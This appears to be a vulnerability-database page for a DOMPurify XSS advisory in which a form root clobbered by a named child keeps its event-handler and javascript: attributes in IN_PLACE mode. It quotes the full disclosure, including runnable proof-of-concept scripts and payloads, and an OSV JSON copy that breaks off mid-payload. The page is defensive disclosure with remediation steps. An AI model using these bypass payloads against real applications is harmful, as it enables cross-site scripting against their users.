CVE-2026-49459: DOMPurify Cross-Site Scripting Vulnerability

MODERATE
Advisory Identifier: GHSA-r47g-fvhr-h676
CVSS 6.1
CWE-1321 CWE-693 CWE-79
Published
Advisory Summary

CVE-2026-49459 is a MODERATE (CVSS 6.1) cross-site scripting vulnerability (CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')) affecting DOMPurify libraries in the npm ecosystem. The issue involves in_place mode preserves attributes of a clobbered root element, allowing xss via attacker-controlled root dom. Remediation is available by upgrading affected packages to version 3.4.6.

CVE-2026-49459 at a Glance

CVE Identifier CVE-2026-49459
GHSA Identifier GHSA-r47g-fvhr-h676
Severity MODERATE
CVSS v3.1 Base Score 6.1
CWE Classification CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Affected Product DOMPurify
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 6.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-49459

To remediate this vulnerability, upgrade all affected DOMPurify dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

dompurify fixed: 3.4.6
npm install dompurify@3.4.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls dompurify

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-49459, inspect your project dependencies using npm:

npm ls dompurify

Analyze the terminal output to locate any version of DOMPurify in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.4.6), your application is affected.

Note: The npm ls dompurify command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), where the product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype. In DOMPurify, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM **CWE**: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — silent no-op when `_forceRemove` is called on a parent-less node) ## Summary When `DOMPurify.sanitize(root, { IN_PLACE: true })` is called and `root` is a `<form>` whose own attributes carry an event handler (`onmouseover`, `onfocus`, `onclick`, etc.), a single descendant element with a `name=` attribute matching any of the property names `_isClobbered` checks (`nodeName`, `setAttribute`, `namespaceURI`, `insertBefore`, `hasChildNodes`, `childNodes`) is sufficient to bypass attribute sanitization on the root. `_forceRemove` silently no-ops because the root has no parent; the iterator drives on to `_sanitizeAttributes`, which early-returns on clobbered nodes — and the event handler attribute is never inspected. The sanitized return is the same root, with the handler live. This affects current `main` at `89da34e` (the just-landed DOM-clobbering hardening fix at `89da34e` addressed `_sanitizeAttachedShadowRoots` walk traversal, **not** the main `_sanitizeElements` / `_sanitizeAttributes` pipeline against the iterator-root node). ## Affected - DOMPurify ≤ 3.4.5, including `main` at `89da34e03ec17868e561f87f3747a9371b61a9e7` - Any caller that does `DOMPurify.sanitize(node, { IN_PLACE: true })` where `node` is built from untrusted HTML (e.g., parsed via `createElement('template').innerHTML = dirty` then `template.content.firstElementChild` handed in) Not affected: - String-input `DOMPurify.sanitize(dirtyString)` — the library builds the DOM itself inside `_initDocument`, the root is the cleanly-created document body, and clobber-named children of the body cannot shadow `body` named properties (HTMLBodyElement does not carry `[LegacyOverrideBuiltIns]`) - IN_PLACE where the root is not an HTMLFormElement - IN_PLACE where the attacker cannot place a clobber-named child inside the root ## Vulnerability details ### Code paths **[A]** — `_forceRemove` at `src/purify.ts:930-939`: ```ts const _forceRemove = function (node: Node): void { arrayPush(DOMPurify.removed, { element: node }); try { // eslint-disable-next-line unicorn/prefer-dom-node-remove getParentNode(node).removeChild(node); // [A1] throws when getParentNode returns null } catch (_) { remove(node); // [A2] WebIDL Node.remove() — spec-defined no-op } // when the node has no parent }; ``` When the iterator-root has no parent (the standard IN_PLACE case where the caller hands in a detached node), `getParentNode(node)` returns `null`, `null.removeChild(node)` throws, the catch falls to `remove(node)` — which per WebIDL is `Element.prototype.remove.call(node)`, and per spec **does nothing if the node has no parent**. Nothing about `_forceRemove`'s contract acknowledges this — the function appears to its callers as "the node is gone now," but the node is still in place. **[B]** — `_sanitizeAttributes` at `src/purify.ts:1490-1492`: ```ts const _sanitizeAttributes = function (currentNode: Element): void { _executeHooks(hooks.beforeSanitizeAttributes, currentNode, null); const { attributes } = currentNode; /* Check if we have attributes; if not we might have a text node */ if (!attributes || _isClobbered(currentNode)) { return; // [B] silently skips ALL attribute checks } // for clobbered nodes ... }; ``` The skip at `[B]` is deliberate — the intent is to avoid touching nodes the library has already decided to discard. The invariant the comment implies is *"if `_isClobbered`, then `_sanitizeElements` already removed this node, so we will never reach `_sanitizeAttributes` on it."* That invariant holds for every non-root node (their `_forceRemove` succeeds in detaching them), but fails for the iterator root in IN_PLACE mode. **The mismatch** is between [A] and [B]: [A] assumes "removal" means the node will not be observed again, and [B] assumes any clobbered node it sees has already been removed. Neither holds for the iterator root. A correct guard would either make `_forceRemove` fail loudly on parent-less nodes (so the caller can bail out of IN_PLACE entirely) or have `_sanitizeAttributes` strip attributes from clobbered roots before returning. ### Iterator call site `src/purify.ts:1850-1864` ignores the boolean return value of `_sanitizeElements`: ```ts const nodeIterator = _createNodeIterator(IN_PLACE ? dirty : body); while ((currentNode = nodeIterator.nextNode())) { _sanitizeElements(currentNode); // returns `true` if killed — IGNORED _sanitizeAttributes(currentNode); // runs unconditionally; relies on [B]'s skip ... } ``` If the return value were checked and `_sanitizeAttributes` skipped when the node was "killed," the bug would not exist as a discrete issue — but currently `_sanitizeAttributes` is the only line of defense for a node that `_sanitizeElements` could not actually detach. ### Why the clobber works In Chromium/WebKit/Firefox, `HTMLFormElement` carries the WebIDL `[LegacyOverrideBuiltIns]` extended attribute on its named-property getter. A descendant element with `name="X"` (or `id="X"`, for radio-button-like names) shadows the matching property on the form, including properties inherited from `Element`, `Node`, and `EventTarget` prototypes. This is the same primitive the just-landed `89da34e` fix addresses for shadow-root traversal, but `_isClobbered`'s typeof checks (and the bypass-by-detection-failure path here) are independent of that fix. Verified clobber targets (each name= value independently triggers `_isClobbered`): | `name=` value | property `_isClobbered` checks | typeof on clobbered form | |---|---|---| | `nodeName` | `typeof element.nodeName !== 'string'` | object (an `<INPUT>`) | | `setAttribute` | `typeof element.setAttribute !== 'function'` | object (not callable) — *but* `<embed>`/`<applet>`/`<iframe>` ARE callable; see "Note on callable elements" below | | `namespaceURI` | `typeof element.namespaceURI !== 'string'` | object | | `insertBefore` | `typeof element.insertBefore !== 'function'` | object | | `hasChildNodes` | `typeof element.hasChildNodes !== 'function'` | object | | `childNodes` | `!(element.childNodes && typeof element.childNodes.length === 'number')` | object — `<INPUT>` has no `.length` | | `attributes` | `!(element.attributes instanceof NamedNodeMap)` | object (an `<INPUT>` is not a NamedNodeMap) | | `textContent` | `typeof element.textContent !== 'string'` | object | | `removeChild` | `typeof element.removeChild !== 'function'` | object (non-callable) | | `removeAttribute` | `typeof element.removeAttribute !== 'function'` | object (non-callable) | Any single one of the ten property names in `_isClobbered`'s checklist is sufficient as the bypass trigger. ## Proof of concept ### (1) Minimal — runnable in a single browser context ```html <!doctype html> <html><body> <script src="dist/purify.js"></script> <script> const root = document.createElement('form'); root.setAttribute('onmouseover', 'window.__rooted = 1'); const clobber = document.createElement('input'); clobber.setAttribute('name', 'nodeName'); root.appendChild(clobber); // typeof root.nodeName === 'object' (an <INPUT> element), not 'string'. // _isClobbered fires; _forceRemove(root) becomes a no-op because root.parentNode === null. DOMPurify.sanitize(root, { IN_PLACE: true }); console.log('output:', root.outerHTML); // <form onmouseover="window.__rooted = 1"><input name="nodeName"></form> // ^^^^^^^^^^^^^^^^^^ event handler survived ^^^^^^^^^^^^^^^^^^ document.body.appendChild(root); root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true })); console.log('handler fired:', window.__rooted === 1); // true </script> </body></html> ``` ### (2) End-to-end — Playwright against `main` HEAD ```js const { chromium } = require('playwright'); const path = require('path'); (async () => { const browser = await chromium.launch(); const page = await browser.newPage(); await page.setContent('<!doctype html><html><body></body></html>'); await page.addScriptTag({ path: path.resolve('dist/purify.js') }); const result = await page.evaluate(() => { const root = document.createElement('form'); root.setAttribute('onmouseover', 'window.__rooted = 1'); const clobber = document.createElement('input'); clobber.setAttribute('name', 'nodeName'); root.appendChild(clobber); DOMPurify.sanitize(root, { IN_PLACE: true }); document.body.appendChild(root); window.__rooted = 0; root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true })); return { version: DOMPurify.version, output: root.outerHTML, handlerFired: window.__rooted === 1, }; }); console.log(result); await browser.close(); })(); ``` Observed (Chromium 148.0.7778.96, DOMPurify 3.4.5, HEAD `89da34e`): ``` { version: '3.4.5', output: '<form onmouseover="window.__rooted = 1"><input name="nodeName"></form>', handlerFired: true } ``` ### (3) Variant matrix — six distinct clobber-target properties Every property name in `_isClobbered`'s typeof checklist works as the bypass trigger: ``` [BYPASS] name="nodeName" → <form onmouseover="…"><input></form> [BYPASS] name="setAttribute" → <form onmouseover="…"><input></form> [BYPASS] name="namespaceURI" → <form onmouseover="…"><input></form> [BYPASS] name="insertBefore" → <form onmouseover="…"><input></form> [BYPASS] name="hasChildNodes" → <form onmouseover="…"><input></form> [BYPASS] name="childNodes" → <form onmouseover="…"><input></form> ``` This makes the fix less of a one-line patch — every property `_isClobbered` checks for the typeof-spoofing pattern needs to be considered. ## Impact ### Direct Two distinct impact paths from the same root-attribute-survival primitive: **(a) XSS via event-handler attribute on the surviving root.** Any consumer that uses `DOMPurify.sanitize(node, { IN_PLACE: true })` where `node` originated from untrusted HTML and is re-inserted into the live document is vulnerable to XSS. The typical pattern is: ```js const t = document.createElement('template'); t.innerHTML = untrustedHtml; DOMPurify.sanitize(t.content.firstElementChild, { IN_PLACE: true }); container.appendChild(t.content.firstElementChild); ``` If `untrustedHtml` is `<form onmouseover=…><input name=nodeName>…</form>`, the resulting node has the `onmouseover` attribute intact when re-inserted into the live document. **(b) Every attribute-level defense is bypassed on the surviving root, not just event handlers.** The `_sanitizeAttributes` early-return at `:1490` skips the entire attribute walk for clobbered nodes, so the root preserves attributes that the attribute walk would otherwise sanitize. Verified additional attributes that survive: - **`action="javascript:..."` and `formaction="javascript:..."`** — URI validation at `:1413` never runs. A user click on a submit button inside the sanitized form navigates to the `javascript:` URL, executing the handler. Adds a click-triggered XSS path on top of the mouseover/focus event-handler attributes already documented. - **`id="<colliding-name>"`** — the DOM-clobbering guard at `:1352-1359` (`SANITIZE_DOM && (lcName === 'id' || lcName === 'name') && (value in document || value in formElement)`) lives inside `_sanitizeAttributes` and is skipped. An attacker can therefore land `id="cookie"`, `id="body"`, `id="head"`, `id="firstChild"`, etc. on the surviving form root and use it as a DOM-clobbering primitive against any consumer code that does `document.cookie`, `document.body`, etc. - **`target="_top"`**, **`autofocus`**, **`formenctype`**, **`formmethod`** — all survive untouched. - **Custom event handlers DOMPurify wouldn't have explicit list entries for** (e.g., newly-spec'd `oncontentvisibilityautostatechange`) survive on the clobbered root via the same skip; the per-name allow-list at `:1361-1364` never runs. Verified — full attribute set survives on a single payload (PoC): ```js const root = document.createElement('form'); root.setAttribute('action', 'javascript:alert(1)'); root.setAttribute('target', '_top'); root.setAttribute('onclick', 'alert(2)'); root.setAttribute('onmouseover', 'alert(3)'); root.setAttribute('autofocus', ''); root.setAttribute('formaction', 'javascript:alert(4)'); root.setAttribute('id', 'cookie'); // DOM-clobbering primitive root.innerHTML += '<input name="nodeName">'; DOMPurify.sanitize(root, { IN_PLACE: true }); console.log(root.outerHTML); // <form action="javascript:alert(1)" target="_top" onclick="alert(2)" // onmouseover="alert(3)" autofocus="" formaction="javascript:alert(4)" // id="cookie"><input></form> ``` **(c) Defense-in-depth re-sanitization on the same node is INEFFECTIVE — the clobber is sticky.** Chromium's `HTMLFormElement` named-property cache appears to retain the named child reference even after the child's `name` attribute is removed during the sanitization pass. Empirically verified — after the first sanitize pass, the input's `name="nodeName"` attribute is correctly stripped (the output shows `<input>` with no attributes), yet `typeof form.nodeName === 'object'` is still true and the input element is still returned. Calling `DOMPurify.sanitize(sameNode, { IN_PLACE: true })` a second time hits the same `_isClobbered` → `_forceRemove` → `_sanitizeAttributes` early-return path. The only effective recovery is serialize-then-reparse: ```js const root = parseAttackerHtml(); // form with input name="nodeName" child DOMPurify.sanitize(root, { IN_PLACE: true }); // bypass: attrs survive DOMPurify.sanitize(root, { IN_PLACE: true }); // STILL bypassed: attrs survive const recovered = (() => { const t = document.createElement('template'); t.innerHTML = root.outerHTML; // forces a fresh parse const r = t.content.firstElementChild; DOMPurify.sanitize(r, { IN_PLACE: true }); return r; })(); // recovered.outerHTML === '<form><input></form>' ← finally clean ``` A "belt-and-suspenders" caller that re-runs DOMPurify on its own output is therefore not protected against this primitive on Chromium; the obvious mitigation pattern fails silently. Any user-side workaround needs to route through a string round-trip. **(d) SAFE_FOR_TEMPLATES bypass for the root's attributes.** When the caller sets `SAFE_FOR_TEMPLATES: true` to defend a downstream template engine (Vue, Angular, Liquid, Handlebars, …) from receiving `{{…}}` / `<%…%>` / `${…}` syntax through DOMPurify's output, attribute-level template-syntax stripping runs in the same `_sanitizeAttributes` pass that early-returns on clobbered roots (`:1572-1576`). The root's attributes therefore retain raw template syntax that the downstream engine then evaluates. Verified — same PoC structure, with `SAFE_FOR_TEMPLATES: true`: ```js const root = document.createElement('form'); root.setAttribute('title', '{{evil}}'); root.setAttribute('onmouseover', 'window.__x=1'); const c = document.createElement('input'); c.setAttribute('name', 'nodeName'); root.appendChild(c); DOMPurify.sanitize(root, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true }); console.log(root.outerHTML); // <form title="{{evil}}" onmouseover="window.__x=1"><input></form> // ^^^^^^^^^^^^^^^^ template syntax survives ``` This compounds with (a): a single payload exfiltrates via XSS (immediate) and via SSTI to downstream renderers (delayed). (Text-node content inside the form is still scrubbed correctly — `_scrubTemplateExpressions` at `:1868-1870` walks text/comment/CDATA/PI nodes independently and reaches them via the iterator. Only attribute values on the clobbered root escape.) ### Indirect / second-order - **DOM-based template systems / editors** that wrap DOMPurify with an IN_PLACE call for parsed user content (CMSes, comment widgets, WYSIWYG editors persisting structured HTML). - **Email/HTML preview libraries** that pre-parse received HTML before sanitization for performance reasons. - **Frameworks that hand DOMPurify a node tree** rather than a string — including, indirectly, any code path that does `el.innerHTML = …; DOMPurify.sanitize(el, { IN_PLACE: true })`. The outer `el` is fine (it's not the form), but if the *first child* of `el` is taken as the sanitization root in a different code path, the bypass triggers. ### Why current `main` is also vulnerable Commit `89da34e` ("fix: fixed a possible DOM clobbering with IN_PLACE and shadow DOM") hardens `_sanitizeAttachedShadowRoots` via three new cached prototype getters (`getShadowRoot`, `getNodeName`, `getNodeType`) and an `_isClobbered` extension that checks `element.childNodes.length`. The fix is correct for its scope — shadow-root traversal — but does not change `_forceRemove`'s parent-less-node behavior or `_sanitizeAttributes`'s clobber-skip early-return. The bypass demonstrated here is in the IN_PLACE main pipeline, not the shadow-root walk, and the verification PoC above runs against HEAD `89da34e` and still succeeds. ## Suggested fix Two minimal-risk options: 1. **Make `_forceRemove` honest about failure**: return whether the node was actually detached, and have the iterator call site honor that. ```ts const _forceRemove = function (node: Node): boolean { arrayPush(DOMPurify.removed, { element: node }); try { getParentNode(node).removeChild(node); return true; } catch (_) { try { remove(node); } catch (_) {} return node.parentNode === null && /* but still attached to itself */ false; } }; ``` Then at `:1855`, if `_sanitizeElements` returns true AND IN_PLACE, force-strip all attributes of the root before returning the dirty tree. (This is what the user expects — sanitization either succeeds or refuses to return a "sanitized" handle to an unsanitized tree.) 2. **Strip attributes inside `_sanitizeAttributes` for clobbered roots**: when `_isClobbered(currentNode)` is true at `:1490`, instead of early-returning, iterate `currentNode.attributes` (using the cached `getAttributes` if you add one) and remove each via `removeAttribute`. This preserves the existing semantics for non-root clobbered nodes (their attributes-of-a-removed-node will be GC'd anyway) and removes the attack surface for root. 3. **Refuse IN_PLACE on parent-less clobbered roots**: at the top of the iterator, check that the root either has a parent OR is not `_isClobbered`. If both fail, throw. This is the most defensive option but breaks any existing caller that hands in a clobbered detached root expecting "sanitized = empty/safe." ### Note on callable elements In Chromium and WebKit, `HTMLEmbedElement`, `HTMLAppletElement`, `HTMLIFrameElement`, and `HTMLScriptElement` have `typeof === 'function'` because they expose plugin/iframe `[[Call]]` traps at the WebIDL level. A `name="setAttribute"` *child* of one of these tags spoofs the `setAttribute typeof === 'function'` check — but only matters for the *attribute re-set* path at `:1619`, not the bypass demonstrated here (which uses `nodeName` and friends). The callable-element vector is worth checking separately as a potential `SAFE_FOR_TEMPLATES`-bypass primitive; the present report does not depend on it.

CVE-2026-49459 Affected DOMPurify Versions

1 component(s)
Fixed Versions:
3.4.6
Product / Package Ecosystem Affected Versions Fixed Version
dompurify
npm
< 3.4.6
3.4.6

References

Frequently Asked Questions

What is CVE-2026-49459?
CVE-2026-49459 is a security vulnerability in DOMPurify involving IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').
Which DOMPurify versions are affected?
Affected versions include releases prior to 3.4.6 across affected packages: dompurify.
What version fixes CVE-2026-49459?
Upgrading to 3.4.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is dompurify affected?
Yes, dompurify is affected in releases prior to 3.4.6. Upgrade your dependency to 3.4.6 or later.
What is the CVSS score of CVE-2026-49459?
CVE-2026-49459 has a CVSS v3.1 base score of 6.1 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N.
What CWE is associated with CVE-2026-49459?
CVE-2026-49459 is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') (The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.).
How can I check npm dependencies for CVE-2026-49459?
Run the dependency tree command: 'npm ls dompurify'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-r47g-fvhr-h676",
  "modified" : "2026-06-15T19:53:05Z",
  "published" : "2026-06-15T19:53:05Z",
  "aliases" : [ "CVE-2026-49459" ],
  "summary" : "DOMPurify: IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM",
  "details" : "# IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM\n\n**CWE**: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — silent no-op when `_forceRemove` is called on a parent-less node)\n\n## Summary\n\nWhen `DOMPurify.sanitize(root, { IN_PLACE: true })` is called and `root` is a `<form>` whose own attributes carry an event handler (`onmouseover`, `onfocus`, `onclick`, etc.), a single descendant element with a `name=` attribute matching any of the property names `_isClobbered` checks (`nodeName`, `setAttribute`, `namespaceURI`, `insertBefore`, `hasChildNodes`, `childNodes`) is sufficient to bypass attribute sanitization on the root. `_forceRemove` silently no-ops because the root has no parent; the iterator drives on to `_sanitizeAttributes`, which early-returns on clobbered nodes — and the event handler attribute is never inspected. The sanitized return is the same root, with the handler live.\n\nThis affects current `main` at `89da34e` (the just-landed DOM-clobbering hardening fix at `89da34e` addressed `_sanitizeAttachedShadowRoots` walk traversal, **not** the main `_sanitizeElements` / `_sanitizeAttributes` pipeline against the iterator-root node).\n\n## Affected\n\n- DOMPurify ≤ 3.4.5, including `main` at `89da34e03ec17868e561f87f3747a9371b61a9e7`\n- Any caller that does `DOMPurify.sanitize(node, { IN_PLACE: true })` where `node` is built from untrusted HTML (e.g., parsed via `createElement('template').innerHTML = dirty` then `template.content.firstElementChild` handed in)\n\nNot affected:\n- String-input `DOMPurify.sanitize(dirtyString)` — the library builds the DOM itself inside `_initDocument`, the root is the cleanly-created document body, and clobber-named children of the body cannot shadow `body` named properties (HTMLBodyElement does not carry `[LegacyOverrideBuiltIns]`)\n- IN_PLACE where the root is not an HTMLFormElement\n- IN_PLACE where the attacker cannot place a clobber-named child inside the root\n\n## Vulnerability details\n\n### Code paths\n\n**[A]** — `_forceRemove` at `src/purify.ts:930-939`:\n\n```ts\nconst _forceRemove = function (node: Node): void {\n  arrayPush(DOMPurify.removed, { element: node });\n  try {\n    // eslint-disable-next-line unicorn/prefer-dom-node-remove\n    getParentNode(node).removeChild(node);   // [A1] throws when getParentNode returns null\n  } catch (_) {\n    remove(node);                             // [A2] WebIDL Node.remove() — spec-defined no-op\n  }                                           //      when the node has no parent\n};\n```\n\nWhen the iterator-root has no parent (the standard IN_PLACE case where the caller hands in a detached node), `getParentNode(node)` returns `null`, `null.removeChild(node)` throws, the catch falls to `remove(node)` — which per WebIDL is `Element.prototype.remove.call(node)`, and per spec **does nothing if the node has no parent**. Nothing about `_forceRemove`'s contract acknowledges this — the function appears to its callers as \"the node is gone now,\" but the node is still in place.\n\n**[B]** — `_sanitizeAttributes` at `src/purify.ts:1490-1492`:\n\n```ts\nconst _sanitizeAttributes = function (currentNode: Element): void {\n  _executeHooks(hooks.beforeSanitizeAttributes, currentNode, null);\n\n  const { attributes } = currentNode;\n\n  /* Check if we have attributes; if not we might have a text node */\n  if (!attributes || _isClobbered(currentNode)) {\n    return;                                   // [B] silently skips ALL attribute checks\n  }                                           //     for clobbered nodes\n  ...\n};\n```\n\nThe skip at `[B]` is deliberate — the intent is to avoid touching nodes the library has already decided to discard. The invariant the comment implies is *\"if `_isClobbered`, then `_sanitizeElements` already removed this node, so we will never reach `_sanitizeAttributes` on it.\"* That invariant holds for every non-root node (their `_forceRemove` succeeds in detaching them), but fails for the iterator root in IN_PLACE mode.\n\n**The mismatch** is between [A] and [B]: [A] assumes \"removal\" means the node will not be observed again, and [B] assumes any clobbered node it sees has already been removed. Neither holds for the iterator root. A correct guard would either make `_forceRemove` fail loudly on parent-less nodes (so the caller can bail out of IN_PLACE entirely) or have `_sanitizeAttributes` strip attributes from clobbered roots before returning.\n\n### Iterator call site\n\n`src/purify.ts:1850-1864` ignores the boolean return value of `_sanitizeElements`:\n\n```ts\nconst nodeIterator = _createNodeIterator(IN_PLACE ? dirty : body);\n\nwhile ((currentNode = nodeIterator.nextNode())) {\n  _sanitizeElements(currentNode);       // returns `true` if killed — IGNORED\n  _sanitizeAttributes(currentNode);     // runs unconditionally; relies on [B]'s skip\n  ...\n}\n```\n\nIf the return value were checked and `_sanitizeAttributes` skipped when the node was \"killed,\" the bug would not exist as a discrete issue — but currently `_sanitizeAttributes` is the only line of defense for a node that `_sanitizeElements` could not actually detach.\n\n### Why the clobber works\n\nIn Chromium/WebKit/Firefox, `HTMLFormElement` carries the WebIDL `[LegacyOverrideBuiltIns]` extended attribute on its named-property getter. A descendant element with `name=\"X\"` (or `id=\"X\"`, for radio-button-like names) shadows the matching property on the form, including properties inherited from `Element`, `Node`, and `EventTarget` prototypes. This is the same primitive the just-landed `89da34e` fix addresses for shadow-root traversal, but `_isClobbered`'s typeof checks (and the bypass-by-detection-failure path here) are independent of that fix.\n\nVerified clobber targets (each name= value independently triggers `_isClobbered`):\n\n| `name=` value | property `_isClobbered` checks | typeof on clobbered form |\n|---|---|---|\n| `nodeName` | `typeof element.nodeName !== 'string'` | object (an `<INPUT>`) |\n| `setAttribute` | `typeof element.setAttribute !== 'function'` | object (not callable) — *but* `<embed>`/`<applet>`/`<iframe>` ARE callable; see \"Note on callable elements\" below |\n| `namespaceURI` | `typeof element.namespaceURI !== 'string'` | object |\n| `insertBefore` | `typeof element.insertBefore !== 'function'` | object |\n| `hasChildNodes` | `typeof element.hasChildNodes !== 'function'` | object |\n| `childNodes` | `!(element.childNodes && typeof element.childNodes.length === 'number')` | object — `<INPUT>` has no `.length` |\n| `attributes` | `!(element.attributes instanceof NamedNodeMap)` | object (an `<INPUT>` is not a NamedNodeMap) |\n| `textContent` | `typeof element.textContent !== 'string'` | object |\n| `removeChild` | `typeof element.removeChild !== 'function'` | object (non-callable) |\n| `removeAttribute` | `typeof element.removeAttribute !== 'function'` | object (non-callable) |\n\nAny single one of the ten property names in `_isClobbered`'s checklist is sufficient as the bypass trigger.\n\n## Proof of concept\n\n### (1) Minimal — runnable in a single browser context\n\n```html\n<!doctype html>\n<html><body>\n<script src=\"dist/purify.js\"></script>\n<script>\n  const root = document.createElement('form');\n  root.setAttribute('onmouseover', 'window.__rooted = 1');\n  const clobber = document.createElement('input');\n  clobber.setAttribute('name', 'nodeName');\n  root.appendChild(clobber);\n\n  // typeof root.nodeName === 'object' (an <INPUT> element), not 'string'.\n  // _isClobbered fires; _forceRemove(root) becomes a no-op because root.parentNode === null.\n  DOMPurify.sanitize(root, { IN_PLACE: true });\n\n  console.log('output:', root.outerHTML);\n  // <form onmouseover=\"window.__rooted = 1\"><input name=\"nodeName\"></form>\n  //  ^^^^^^^^^^^^^^^^^^ event handler survived ^^^^^^^^^^^^^^^^^^\n\n  document.body.appendChild(root);\n  root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));\n  console.log('handler fired:', window.__rooted === 1);  // true\n</script>\n</body></html>\n```\n\n### (2) End-to-end — Playwright against `main` HEAD\n\n```js\nconst { chromium } = require('playwright');\nconst path = require('path');\n\n(async () => {\n  const browser = await chromium.launch();\n  const page = await browser.newPage();\n  await page.setContent('<!doctype html><html><body></body></html>');\n  await page.addScriptTag({ path: path.resolve('dist/purify.js') });\n\n  const result = await page.evaluate(() => {\n    const root = document.createElement('form');\n    root.setAttribute('onmouseover', 'window.__rooted = 1');\n    const clobber = document.createElement('input');\n    clobber.setAttribute('name', 'nodeName');\n    root.appendChild(clobber);\n\n    DOMPurify.sanitize(root, { IN_PLACE: true });\n\n    document.body.appendChild(root);\n    window.__rooted = 0;\n    root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));\n\n    return {\n      version: DOMPurify.version,\n      output: root.outerHTML,\n      handlerFired: window.__rooted === 1,\n    };\n  });\n  console.log(result);\n  await browser.close();\n})();\n```\n\nObserved (Chromium 148.0.7778.96, DOMPurify 3.4.5, HEAD `89da34e`):\n\n```\n{\n  version: '3.4.5',\n  output: '<form onmouseover=\"window.__rooted = 1\"><input name=\"nodeName\"></form>',\n  handlerFired: true\n}\n```\n\n### (3) Variant matrix — six distinct clobber-target properties\n\nEvery property name in `_isClobbered`'s typeof checklist works as the bypass trigger:\n\n```\n[BYPASS] name=\"nodeName\"      → <form onmouseover=\"…\"><input></form>\n[BYPASS] name=\"setAttribute\"  → <form onmouseover=\"…\"><input></form>\n[BYPASS] name=\"namespaceURI\"  → <form onmouseover=\"…\"><input></form>\n[BYPASS] name=\"insertBefore\"  → <form onmouseover=\"…\"><input></form>\n[BYPASS] name=\"hasChildNodes\" → <form onmouseover=\"…\"><input></form>\n[BYPASS] name=\"childNodes\"    → <form onmouseover=\"…\"><input></form>\n```\n\nThis makes the fix less of a one-line patch — every property `_isClobbered` checks for the typeof-spoofing pattern needs to be considered.\n\n## Impact\n\n### Direct\n\nTwo distinct impact paths from the same root-attribute-survival primitive:\n\n**(a) XSS via event-handler attribute on the surviving root.** Any consumer that uses `DOMPurify.sanitize(node, { IN_PLACE: true })` where `node` originated from untrusted HTML and is re-inserted into the live document is vulnerable to XSS. The typical pattern is:\n\n```js\nconst t = document.createElement('template');\nt.innerHTML = untrustedHtml;\nDOMPurify.sanitize(t.content.firstElementChild, { IN_PLACE: true });\ncontainer.appendChild(t.content.firstElementChild);\n```\n\nIf `untrustedHtml` is `<form onmouseover=…><input name=nodeName>…</form>`, the resulting node has the `onmouseover` attribute intact when re-inserted into the live document.\n\n**(b) Every attribute-level defense is bypassed on the surviving root, not just event handlers.** The `_sanitizeAttributes` early-return at `:1490` skips the entire attribute walk for clobbered nodes, so the root preserves attributes that the attribute walk would otherwise sanitize. Verified additional attributes that survive:\n\n- **`action=\"javascript:...\"` and `formaction=\"javascript:...\"`** — URI validation at `:1413` never runs. A user click on a submit button inside the sanitized form navigates to the `javascript:` URL, executing the handler. Adds a click-triggered XSS path on top of the mouseover/focus event-handler attributes already documented.\n- **`id=\"<colliding-name>\"`** — the DOM-clobbering guard at `:1352-1359` (`SANITIZE_DOM && (lcName === 'id' || lcName === 'name') && (value in document || value in formElement)`) lives inside `_sanitizeAttributes` and is skipped. An attacker can therefore land `id=\"cookie\"`, `id=\"body\"`, `id=\"head\"`, `id=\"firstChild\"`, etc. on the surviving form root and use it as a DOM-clobbering primitive against any consumer code that does `document.cookie`, `document.body`, etc.\n- **`target=\"_top\"`**, **`autofocus`**, **`formenctype`**, **`formmethod`** — all survive untouched.\n- **Custom event handlers DOMPurify wouldn't have explicit list entries for** (e.g., newly-spec'd `oncontentvisibilityautostatechange`) survive on the clobbered root via the same skip; the per-name allow-list at `:1361-1364` never runs.\n\nVerified — full attribute set survives on a single payload (PoC):\n\n```js\nconst root = document.createElement('form');\nroot.setAttribute('action', 'javascript:alert(1)');\nroot.setAttribute('target', '_top');\nroot.setAttribute('onclick', 'alert(2)');\nroot.setAttribute('onmouseover', 